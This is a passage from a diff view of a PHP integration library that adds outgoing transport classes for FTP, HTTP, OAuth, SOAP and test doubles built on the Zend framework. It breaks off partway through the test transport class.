* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_FtpTransfer
|
19 |
+
extends Ampersand_Integration_Transport_FtpTransferAbstract
|
20 |
+
implements Ampersand_Integration_Transport_Outgoing_Interface
|
21 |
+
{
|
22 |
+
/** @var Ampersand_Integration_Message_Data_Request */
|
23 |
+
protected $_request;
|
24 |
+
|
25 |
+
public function send(Ampersand_Integration_Message_Data_Request $request = null)
|
26 |
+
{
|
27 |
+
return $this->_copyOrMove($this->getConfig());
|
28 |
+
}
|
29 |
+
|
30 |
+
public function setRequest(Ampersand_Integration_Message_Data_Request $request)
|
31 |
+
{
|
32 |
+
$this->_request = $request;
|
33 |
+
|
34 |
+
return $this;
|
35 |
+
}
|
36 |
+
|
37 |
+
public function getRequest()
|
38 |
+
{
|
39 |
+
return $this->_request;
|
40 |
+
}
|
41 |
+
|
42 |
+
protected function _copyFile($sourcePath, $destinationPath)
|
43 |
+
{
|
44 |
+
$transferMode = $this->_getTransferMode($this->getConfig());
|
45 |
+
|
46 |
+
return @ftp_put($this->_getConnection(), $destinationPath, $sourcePath, $transferMode);
|
47 |
+
}
|
48 |
+
|
49 |
+
protected function _destinationFileExists($filePath)
|
50 |
+
{
|
51 |
+
return $this->_ftpFileExists($filePath);
|
52 |
+
}
|
53 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Http.php
ADDED
@@ -0,0 +1,197 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Http
|
19 |
+
extends Ampersand_Integration_Transport_Outgoing_Abstract
|
20 |
+
{
|
21 |
+
protected $_httpClient;
|
22 |
+
|
23 |
+
protected function _send(Ampersand_Integration_Message_Data_Request $request)
|
24 |
+
{
|
25 |
+
$this->_httpClient = $this->_getNewHttpClientInstance();
|
26 |
+
|
27 |
+
$this->_httpClient = $this->_prepareHttpClient($this->_httpClient, $this->getConfig(), $request);
|
28 |
+
|
29 |
+
return $this->_doRequest($this->_httpClient);
|
30 |
+
}
|
31 |
+
|
32 |
+
public function getDebugData()
|
33 |
+
{
|
34 |
+
return array(
|
35 |
+
'type' => 'http',
|
36 |
+
'uri' => $this->getClientUri(),
|
37 |
+
'method' => $this->getClientMethod(),
|
38 |
+
'config' => $this->getClientConfig(),
|
39 |
+
'request' => $this->getLastRequestString(),
|
40 |
+
'response' => array(
|
41 |
+
'headers' => $this->getLastResponseHeaders(),
|
42 |
+
'body' => $this->getLastResponseBody(),
|
43 |
+
'raw' => $this->getLastResponseString(),
|
44 |
+
),
|
45 |
+
);
|
46 |
+
}
|
47 |
+
|
48 |
+
public function getClientUri()
|
49 |
+
{
|
50 |
+
if (!is_object($this->_httpClient)) {
|
51 |
+
return false;
|
52 |
+
}
|
53 |
+
|
54 |
+
return $this->_httpClient->getUri();
|
55 |
+
}
|
56 |
+
|
57 |
+
public function getClientMethod()
|
58 |
+
{
|
59 |
+
if (!is_object($this->_httpClient)) {
|
60 |
+
return false;
|
61 |
+
}
|
62 |
+
|
63 |
+
return $this->_httpClient->getMethod();
|
64 |
+
}
|
65 |
+
|
66 |
+
public function getClientConfig()
|
67 |
+
{
|
68 |
+
if (!is_object($this->_httpClient)) {
|
69 |
+
return false;
|
70 |
+
}
|
71 |
+
|
72 |
+
return $this->_httpClient->getConfig();
|
73 |
+
}
|
74 |
+
|
75 |
+
public function getLastRequestString()
|
76 |
+
{
|
77 |
+
if (!is_object($this->_httpClient)) {
|
78 |
+
return false;
|
79 |
+
}
|
80 |
+
|
81 |
+
return $this->_httpClient->getLastRequest();
|
82 |
+
}
|
83 |
+
|
84 |
+
public function getLastResponseString()
|
85 |
+
{
|
86 |
+
if (!$response = $this->_getLastResponseObject()) {
|
87 |
+
return false;
|
88 |
+
}
|
89 |
+
|
90 |
+
return $this->_getLastResponseObject()->asString();
|
91 |
+
}
|
92 |
+
|
93 |
+
public function getLastResponseHeaders()
|
94 |
+
{
|
95 |
+
if (!$response = $this->_getLastResponseObject()) {
|
96 |
+
return false;
|
97 |
+
}
|
98 |
+
|
99 |
+
return $response->getHeaders();
|
100 |
+
}
|
101 |
+
|
102 |
+
public function getLastResponseBody()
|
103 |
+
{
|
104 |
+
if (!$response = $this->_getLastResponseObject()) {
|
105 |
+
return false;
|
106 |
+
}
|
107 |
+
|
108 |
+
return $response->getBody();
|
109 |
+
}
|
110 |
+
|
111 |
+
protected function _getLastResponseObject()
|
112 |
+
{
|
113 |
+
if (!is_object($this->_httpClient)) {
|
114 |
+
return false;
|
115 |
+
}
|
116 |
+
|
117 |
+
return $this->_httpClient->getLastResponse();
|
118 |
+
}
|
119 |
+
|
120 |
+
protected function _prepareHttpClient($client, Ampersand_Object $config,
|
121 |
+
Ampersand_Integration_Message_Data_Request $request
|
122 |
+
) {
|
123 |
+
$this->_addAuthToClient($client, $config);
|
124 |
+
|
125 |
+
$this->_addHeadersToClient($client, $config, $request);
|
126 |
+
|
127 |
+
$this->_addConfigToClient($client, $config);
|
128 |
+
|
129 |
+
$client->setUri($config->getData('uri'))
|
130 |
+
->setMethod($config->getData('method'))
|
131 |
+
;
|
132 |
+
|
133 |
+
if ($content = $request->getContent()) {
|
134 |
+
$client->setRawData($content);
|
135 |
+
}
|
136 |
+
if ($params = $request->getParams()) {
|
137 |
+
switch ($client->getMethod()) {
|
138 |
+
case Zend_Http_Client::GET;
|
139 |
+
$client->setParameterGet($params);
|
140 |
+
break;
|
141 |
+
|
142 |
+
case Zend_Http_Client::POST;
|
143 |
+
$client->setParameterPost($params);
|
144 |
+
break;
|
145 |
+
}
|
146 |
+
}
|
147 |
+
|
148 |
+
return $client;
|
149 |
+
}
|
150 |
+
|
151 |
+
protected function _addAuthToClient($client, Ampersand_Object $config)
|
152 |
+
{
|
153 |
+
if (!$authData = $config->getData('auth')) {
|
154 |
+
return;
|
155 |
+
}
|
156 |
+
|
157 |
+
$auth = new Ampersand_Object($authData);
|
158 |
+
$client->setAuth($auth->getUser(), $auth->getPassword());
|
159 |
+
}
|
160 |
+
|
161 |
+
protected function _addHeadersToClient($client, Ampersand_Object $config,
|
162 |
+
Ampersand_Integration_Message_Data_Request $request
|
163 |
+
) {
|
164 |
+
$headers = array_merge(
|
165 |
+
$config->getDataSetDefault('headers', array()), $request->getHeaders()
|
166 |
+
);
|
167 |
+
|
168 |
+
$client->setHeaders($headers);
|
169 |
+
}
|
170 |
+
|
171 |
+
protected function _addConfigToClient($client, Ampersand_Object $config)
|
172 |
+
{
|
173 |
+
$client->setConfig($config->getDataSetDefault('client_config', array()));
|
174 |
+
}
|
175 |
+
|
176 |
+
protected function _getNewHttpClientInstance()
|
177 |
+
{
|
178 |
+
return new Ampersand_Integration_Transport_Outgoing_Http_Client();
|
179 |
+
}
|
180 |
+
|
181 |
+
protected function _doRequest($client)
|
182 |
+
{
|
183 |
+
$responseObject = $client->request();
|
184 |
+
|
185 |
+
return array(
|
186 |
+
'headers' => $responseObject->getHeaders(),
|
187 |
+
'content' => $responseObject->getBody(),
|
188 |
+
);
|
189 |
+
}
|
190 |
+
|
191 |
+
protected function _getDefaultConfigData()
|
192 |
+
{
|
193 |
+
return array(
|
194 |
+
'method' => Zend_Http_Client::POST,
|
195 |
+
);
|
196 |
+
}
|
197 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Http/Client.php
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Http_Client extends Zend_Http_Client
|
19 |
+
{
|
20 |
+
protected $_lastPreparedHeaders;
|
21 |
+
|
22 |
+
public function getConfig()
|
23 |
+
{
|
24 |
+
return $this->config;
|
25 |
+
}
|
26 |
+
|
27 |
+
public function getMethod()
|
28 |
+
{
|
29 |
+
return $this->method;
|
30 |
+
}
|
31 |
+
|
32 |
+
public function getLastPreparedHeaders()
|
33 |
+
{
|
34 |
+
return $this->_lastPreparedHeaders;
|
35 |
+
}
|
36 |
+
|
37 |
+
protected function _prepareHeaders()
|
38 |
+
{
|
39 |
+
return $this->_lastPreparedHeaders = parent::_prepareHeaders();
|
40 |
+
}
|
41 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Interface.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
interface Ampersand_Integration_Transport_Outgoing_Interface
|
19 |
+
extends Ampersand_Integration_Transport_Interface
|
20 |
+
{
|
21 |
+
public function send(Ampersand_Integration_Message_Data_Request $request = null);
|
22 |
+
|
23 |
+
public function setRequest(Ampersand_Integration_Message_Data_Request $request);
|
24 |
+
|
25 |
+
public function getRequest();
|
26 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Oauth.php
ADDED
@@ -0,0 +1,64 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Oauth
|
19 |
+
extends Ampersand_Integration_Transport_Outgoing_Http
|
20 |
+
{
|
21 |
+
public function getDebugData()
|
22 |
+
{
|
23 |
+
$debugData = parent::getDebugData();
|
24 |
+
$debugData['type'] = 'oauth';
|
25 |
+
$debugData['oauth_config'] = $this->getOauthConfig();
|
26 |
+
|
27 |
+
return $debugData;
|
28 |
+
}
|
29 |
+
|
30 |
+
public function getOauthConfig()
|
31 |
+
{
|
32 |
+
if (!is_object($this->_httpClient)) {
|
33 |
+
return false;
|
34 |
+
}
|
35 |
+
|
36 |
+
return $this->_httpClient->getOauthConfig();
|
37 |
+
}
|
38 |
+
|
39 |
+
protected function _addAuthToClient($client, Ampersand_Object $config)
|
40 |
+
{
|
41 |
+
$accessToken = new Zend_Oauth_Token_Access();
|
42 |
+
$accessToken->setToken($config->getAccessToken());
|
43 |
+
$accessToken->setTokenSecret($config->getAccessTokenSecret());
|
44 |
+
|
45 |
+
$client->setToken($accessToken);
|
46 |
+
}
|
47 |
+
|
48 |
+
protected function _addHeadersToClient($client, Ampersand_Object $config,
|
49 |
+
Ampersand_Integration_Message_Data_Request $request
|
50 |
+
) {
|
51 |
+
// do nothing!
|
52 |
+
}
|
53 |
+
|
54 |
+
protected function _addConfigToClient($client, Ampersand_Object $config)
|
55 |
+
{
|
56 |
+
parent::_addConfigToClient($client, $config);
|
57 |
+
$client->setOptions($config->getDataSetDefault('oauth_config', array()));
|
58 |
+
}
|
59 |
+
|
60 |
+
protected function _getNewHttpClientInstance()
|
61 |
+
{
|
62 |
+
return new Ampersand_Integration_Transport_Outgoing_Oauth_Client(array());
|
63 |
+
}
|
64 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Oauth/Client.php
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Oauth_Client extends Zend_Oauth_Client
|
19 |
+
{
|
20 |
+
protected $_lastPreparedHeaders;
|
21 |
+
|
22 |
+
public function getConfig()
|
23 |
+
{
|
24 |
+
return $this->config;
|
25 |
+
}
|
26 |
+
|
27 |
+
public function getOauthConfig()
|
28 |
+
{
|
29 |
+
return $this->_config;
|
30 |
+
}
|
31 |
+
|
32 |
+
public function getMethod()
|
33 |
+
{
|
34 |
+
return $this->method;
|
35 |
+
}
|
36 |
+
|
37 |
+
public function getLastPreparedHeaders()
|
38 |
+
{
|
39 |
+
return $this->_lastPreparedHeaders;
|
40 |
+
}
|
41 |
+
|
42 |
+
protected function _prepareHeaders()
|
43 |
+
{
|
44 |
+
return $this->_lastPreparedHeaders = parent::_prepareHeaders();
|
45 |
+
}
|
46 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Provider.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Provider extends Ampersand_ClassProvider
|
19 |
+
{
|
20 |
+
protected $_classes = array(
|
21 |
+
'file' => 'Ampersand_Integration_Transport_Outgoing_File',
|
22 |
+
'file_transfer' => 'Ampersand_Integration_Transport_Outgoing_FileTransfer',
|
23 |
+
'ftp' => 'Ampersand_Integration_Transport_Outgoing_Ftp',
|
24 |
+
'ftp_transfer' => 'Ampersand_Integration_Transport_Outgoing_FtpTransfer',
|
25 |
+
'http' => 'Ampersand_Integration_Transport_Outgoing_Http',
|
26 |
+
'oauth' => 'Ampersand_Integration_Transport_Outgoing_Oauth',
|
27 |
+
'soap' => 'Ampersand_Integration_Transport_Outgoing_Soap',
|
28 |
+
'test' => 'Ampersand_Integration_Transport_Outgoing_Test',
|
29 |
+
);
|
30 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Soap.php
ADDED
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Soap extends Ampersand_Integration_Transport_Outgoing_Abstract
|
19 |
+
{
|
20 |
+
protected $_soapClient;
|
21 |
+
|
22 |
+
protected function _send(Ampersand_Integration_Message_Data_Request $request)
|
23 |
+
{
|
24 |
+
$this->_soapClient = $this->_getPreparedSoapClient($this->getConfig());
|
25 |
+
|
26 |
+
return $this->_doRequest($this->_soapClient, $this->getConfig()->getMethod(), $request);
|
27 |
+
}
|
28 |
+
|
29 |
+
public function getDebugData()
|
30 |
+
{
|
31 |
+
return array(
|
32 |
+
'type' => 'soap',
|
33 |
+
'wsdl' => $this->getConfig()->getWsdl(),
|
34 |
+
'request' => array(
|
35 |
+
'headers' => $this->getLastRequestHeaders(),
|
36 |
+
'content' => $this->getLastRequestBody(),
|
37 |
+
),
|
38 |
+
'response' => array(
|
39 |
+
'headers' => $this->getLastResponseHeaders(),
|
40 |
+
'content' => $this->getLastResponseBody(),
|
41 |
+
),
|
42 |
+
);
|
43 |
+
}
|
44 |
+
|
45 |
+
public function getLastRequestHeaders()
|
46 |
+
{
|
47 |
+
if (!is_object($this->_soapClient)) {
|
48 |
+
return false;
|
49 |
+
}
|
50 |
+
|
51 |
+
return $this->_soapClient->__getLastRequestHeaders();
|
52 |
+
}
|
53 |
+
|
54 |
+
public function getLastRequestBody()
|
55 |
+
{
|
56 |
+
if (!is_object($this->_soapClient)) {
|
57 |
+
return false;
|
58 |
+
}
|
59 |
+
|
60 |
+
return $this->_soapClient->__getLastRequest();
|
61 |
+
}
|
62 |
+
|
63 |
+
public function getLastResponseHeaders()
|
64 |
+
{
|
65 |
+
if (!is_object($this->_soapClient)) {
|
66 |
+
return false;
|
67 |
+
}
|
68 |
+
|
69 |
+
return $this->_soapClient->__getLastResponseHeaders();
|
70 |
+
}
|
71 |
+
|
72 |
+
public function getLastResponseBody()
|
73 |
+
{
|
74 |
+
if (!is_object($this->_soapClient)) {
|
75 |
+
return false;
|
76 |
+
}
|
77 |
+
|
78 |
+
return $this->_soapClient->__getLastResponse();
|
79 |
+
}
|
80 |
+
|
81 |
+
protected function _getPreparedSoapClient(Ampersand_Object $config)
|
82 |
+
{
|
83 |
+
return $this->_getNewSoapClientInstance($config->getWsdl(), array('exceptions' => 1));
|
84 |
+
}
|
85 |
+
|
86 |
+
protected function _getNewSoapClientInstance($wsdl, array $options = array())
|
87 |
+
{
|
88 |
+
return @new SoapClient($wsdl, $options);
|
89 |
+
}
|
90 |
+
|
91 |
+
protected function _doRequest($client, $method, Ampersand_Integration_Message_Data_Request $request)
|
92 |
+
{
|
93 |
+
return $client->$method($request->getContent());
|
94 |
+
}
|
95 |
+
|
96 |
+
protected function _getDefaultConfigData()
|
97 |
+
{
|
98 |
+
return array(
|
99 |
+
'is_content_array' => true,
|
100 |
+
);
|
101 |
+
}
|
102 |
+
}
|
lib/Ampersand/Integration/Transport/Outgoing/Test.php
ADDED
@@ -0,0 +1,133 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Integration
|
7 |
+
* @subpackage Transport
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Integration
|
15 |
+
* @subpackage Transport
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Integration_Transport_Outgoing_Test
|
19 |
+
extends Ampersand_Integration_Transport_Outgoing_Abstract
|
20 |
+
{
|
21 |
+
/** @var Ampersand_Object */
|
22 |
+
protected $_testDataObject;
|
23 |
+
/** @var array */
|
24 |
+
protected $_testDatas = array();
|
25 |
+
|
26 |
+
/**
|
27 |
+
* Sends the populated request object to a test callback which will validate it. Sends the
|
28 |
+
* populated config to a test callback which will validate it. Returns a pre-populated response
|
29 |
+
* object from the test data
|
30 |
+
*
|
31 |
+
* @param Ampersand_Integration_Message_Data_Response $response
|
32 |
+
* @return Ampersand_Integration_Transport_Incoming_Test
|
33 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
34 |
+
*/
|
35 |
+
protected function _send(Ampersand_Integration_Message_Data_Request $request)
|
36 |
+
{
|
37 |
+
$this->_doRequestCallback($request);
|
38 |
+
$this->_doConfigCallback($this->getConfig());
|
39 |
+
|
40 |
+
return $this->_getTestDataObject()->getResponse();
|
41 |
+
}
|
42 |
+
|
43 |
+
/**
|
44 |
+
* Sends the populated config to the config callback if one was specified in the test data
|
45 |
+
*
|
46 |
+
* @param mixed $request
|
47 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
48 |
+
*/
|
49 |
+
protected function _doConfigCallback($config)
|
50 |
+
{
|
51 |
+
if ($callback = $this->_getTestDataObject()->getConfigCallback()) {
|
52 |
+
call_user_func($callback, $config);
|
53 |
+
}
|
54 |
+
}
|
55 |
+
|
56 |
+
/**
|
57 |
+
* Sends the populated request object to the request callback if one was specified in the test
|
58 |
+
* data
|
59 |
+
*
|
60 |
+
* @param Ampersand_Integration_Message_Data_Request $request
|
61 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
62 |
+
*/
|
63 |
+
protected function _doRequestCallback(Ampersand_Integration_Message_Data_Request $request)
|
64 |
+
{
|
65 |
+
if ($callback = $this->_getTestDataObject()->getRequestCallback()) {
|
66 |
+
call_user_func($callback, $request);
|
67 |
+
}
|
68 |
+
}
|
69 |
+
|
70 |
+
/**
|
71 |
+
* Gets the test data object to use for this test
|
72 |
+
*
|
73 |
+
* @return Ampersand_Object
|
74 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
75 |
+
*/
|
76 |
+
protected function _getTestDataObject()
|
77 |
+
{
|
78 |
+
if (is_null($this->_testDataObject)) {
|
79 |
+
$testData = self::shiftTestData();
|
80 |
+
$this->_testDataObject = new Ampersand_Object($testData);
|
81 |
+
}
|
82 |
+
|
83 |
+
return $this->_testDataObject;
|
84 |
+
}
|
85 |
+
|
86 |
+
/**
|
87 |
+
* Shifts data for next test off of the array within the singleton which contains all test
|
88 |
+
* datas
|
89 |
+
*
|
90 |
+
* @return array Return value is always an array
|
91 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
92 |
+
*/
|
93 |
+
public static function shiftTestData()
|
94 |
+
{
|
95 |
+
$testData = array_shift(self::getSingleton()->_testDatas);
|
96 |
+
|
97 |
+
if (!is_array($testData)) {
|
98 |
+
$testData = array();
|
99 |
+
}
|
100 |
+
|
101 |
+
return $testData;
|
102 |
+
}
|
103 |
+
|
104 |
+
/**
|
105 |
+
* Pushes data for a single test onto the array within the singleton which contains all test
|
106 |
+
* datas
|
107 |
+
*
|
108 |
+
* @param array $testData
|
109 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
110 |
+
*/
|
111 |
+
public static function pushTestData(array $testData)
|
112 |
+
{
|
113 |
+
array_push(self::getSingleton()->_testDatas, $testData);
|
114 |
+
}
|
115 |
+
|
116 |
+
/**
|
117 |
+
* Returns singleton instance of this class. Creates if it does not already exist
|
118 |
+
*
|
119 |
+
* @return Ampersand_Integration_Transport_Outgoing_Test
|
120 |
+
* @author Josh Di fabio <josh.difabio@ampersandit.co.uk>
|
121 |
+
*/
|
122 |
+
